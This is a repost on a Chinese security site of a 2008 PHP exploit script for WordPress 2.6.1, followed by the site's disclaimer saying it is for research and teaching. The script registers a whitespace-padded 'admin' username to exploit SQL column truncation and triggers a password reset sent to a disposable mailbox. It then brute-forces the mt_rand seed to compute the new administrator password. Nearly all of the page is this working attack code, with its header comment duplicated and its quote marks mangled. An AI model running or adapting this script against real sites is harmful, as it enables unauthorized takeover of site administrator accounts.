WordPress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit 's

admin 2017年4月24日08:17:42评论262 views字数 4438阅读14分47秒阅读模式
摘要

#!/usr/bin/php
<?php
# ————————————————————
# quick’n’dirty wordpress admin-take0ver poc
# by iso^kpsbr in august 2oo8
#
# works w/ wordpress 2.6.1
#
# .oO( private — do not spread! )Oo.
#
# you’ll have to make sure you run roughly the same
# php version as on the server, that is: if server
# is >=5.2.1 you’ll need to be as well, in case
# server is <5.2.1, your php also needs to be below.
# to make sure it works you’ll need the exact same version!
# also, mod_php works better than (f)cgi..
# (this is a first working version – not a very reliable one)

#
# you should create rainbow tables to make this work in a
# real world scenario:
# php-5.2.0/php createtables.php > wp261_php520
# php-5.2.1/php createtables.php > wp261_php521
#
#————————————————————-

#!/usr/bin/php
<?php
# ————————————————————
# quick’n’dirty wordpress admin-take0ver poc
# by iso^kpsbr in august 2oo8
#
# works w/ wordpress 2.6.1
#
# .oO( private — do not spread! )Oo.
#
# you’ll have to make sure you run roughly the same
# php version as on the server, that is: if server
# is >=5.2.1 you’ll need to be as well, in case
# server is <5.2.1, your php also needs to be below.
# to make sure it works you’ll need the exact same version!
# also, mod_php works better than (f)cgi..
# (this is a first working version – not a very reliable one)

#
# you should create rainbow tables to make this work in a
# real world scenario:
# php-5.2.0/php createtables.php > wp261_php520
# php-5.2.1/php createtables.php > wp261_php521
#
#————————————————————-

$BLOG = $_SERVER[‘argv’][1];

echo “[+] w0rdpress 2.6.1. admin takeover, iso 0808/n”;

if(!$BLOG) {
echo “[!] Usage: “.$_SERVER[‘argv’][0].” blogurl/n”;
echo ” fe: “.$_SERVER[‘argv’][0].” http://31337.biz/blog/n”;
exit;
}

$UA = “WordPressAdminTakeover”;
$MBOX=”wp”.`ps|md5sum|head -c 8`;
$EMAIL=”[email protected]”;

echo (file_exists(‘wp261_php520’) && file_exists(‘wp261_php521’)) ?
“[X] rainbow tables available/n” :
“[!] rainbow tables not found – this will be really slow/n”;

set_time_limit(0);
ini_set(“max_execution_time”,0);
ini_set(“default_socket_timeout”,20);

if(!preg_match(‘!http://([^/]+)(.*)$!’, $BLOG, $match)) {
die(“[!] $BLOG is no valid URL/n”);
}

$HOST = $match[1];
$PATH = $match[2];
if(!$PATH) $PATH=’/’;

echo “[-] registering new admin user/n”;
$suck = fsockopen($HOST, 80) or die(“[!] could not connect to $HOST:80/n”);
$data = “user_login=admin”.str_repeat(“%20″,60).”x&user_email=$EMAIL”;
$req = “POST $PATH/wp-login.php?action=register HTTP/1.1/r/nHost: $HOST/r/nUser-Agent: $UA/r/nConnection: close/r/nContent-Type: application/x-www-form-urlencoded/r/nContent-Length: “.strlen($data).”/r/n/r/n”.$data;
fputs($suck, $req);
sleep(1);
fclose($suck);

echo “[-] requesting resetlink and mail to ‘$EMAIL’/n”;
$suck = fsockopen($HOST, 80) or die(“[!] could not connect to $HOST:80/n”);
$data=”user_login=$EMAIL&wp-submit=Get+New+Password”;
$req = “POST $PATH/wp-login.php?action=lostpassword HTTP/1.1/r/nHost: $HOST/r/nReferer: $BLOG/wp-login.php?action=lostpassword/r/nConnection: keep-alive/r/nKeep-Alive: 300/r/nContent-Type: application/x-www-form-urlencoded/r/nContent-Length: “.strlen($data).”/r/n/r/n”.$data.”/r/n”;
fputs($suck, $req);

echo “[.] giving $BLOG some time to deliver mail../n”;
for($i=0;$i<8;$i++) {
fputs($suck,”GET / HTTP/1.1/r/nHost: $HOST/r/nConnection: keep-alive/r/nKeep-Alive: 300/r/n/r/n”);
sleep(2);
}

echo “[-] fetching resetlink token $MBOX/n”;
$PAGE = file_get_contents(“http://www.nospamfor.us/mailbox.php?mailbox=$MBOX&sitename=nospamfor.us”);
if(!preg_match(‘/.+mailid=(/d+).+?Reset/s’, $PAGE, $match)) die(“[!] failed to find resetmail try raising the wait-time right above/n”);
$MAILID=$match[1];

echo “[-] fetching resetmail $MAILID/n”;

$WHOLEMAIL=file_get_contents(“http://www.nospamfor.us/mail.php?mailid=$MAILID&sitename=nospamfor.us&mailbox=$MBOX”);
if(!preg_match(‘/key=([A-z0-9]+)/’, $WHOLEMAIL, $match)) die(“[!] could not find resetkey in $WHOLEMAIL/n”);
$KEY=$match[1];

echo “[X] found resetkey $KEY/n”;
echo “[-] resetting password/n”;

$req = “GET $PATH/wp-login.php?action=rp&key=$KEY HTTP/1.1/r/nHost: $HOST/r/nUser-Agent:$UA/r/nConnection: close/r/n/r/n”;
fputs($suck, $req);
while(!feof($suck)) {
#echo “D:”.
fgets($suck);
}
fclose($suck);

echo “[-] calculating password/n”;
$SEED=false;
if(file_exists(‘wp261_php520’)) {
$SEED=`grep -F $KEY wp261*|cut -d : -f 1`;
echo “[X] got seed $SEED from rainbow table/n”;
}
$PASSWORD=calcpass($KEY, $SEED);

echo “[X] all done.”;
exit;

function calcpass($resetkey, $seed = false) {
mt_srand(2); $a = mt_rand(); mt_srand(3); $b = mt_rand();
define(‘BUGGY’, $a == $b);
echo “[-] wpress password computation. runnig in “.(BUGGY?’fast’:’slow’).” mode/n”;

echo “[+] got key $resetkey via mail/n”;

if(!$seed) $seed = getseed($resetkey);

if($seed===false) die(“[!] seed not found WordPress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit  's try using identical php version (< 5.2.5)/n”);

mt_srand($seed);
echo “[-] seed for key “.wp_generate_password(20,false).” is $seed/n”;
$pass = wp_generate_password();
echo “[+] new credentials are admin:$pass/n”;
return $pass;
}

function wp_generate_password($length = 12, $special_chars = true) {
$chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789’;
if ( $special_chars )
$chars .= ‘!@#$%^&*()’;

$password = ”;
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, strlen($chars) – 1), 1);
return $password;
}

function getseed($resetkey) {
echo “[-] calculating rand seed for $resetkey (this will take a looong time)”;
$max = pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++) {
$seed = BUGGY ? ($x << 1) + 1 : $x;
mt_srand($seed);
$testkey = wp_generate_password(20,false);
if($testkey==$resetkey) { echo “o/n”; return $seed; }

if(!($x % 10000)) echo “.”;
}
echo “/n”;
return false;
}

?>

# milw0rm.com [2008-09-10]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月24日08:17:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WordPress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit 'shttps://cn-sec.com/archives/45532.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息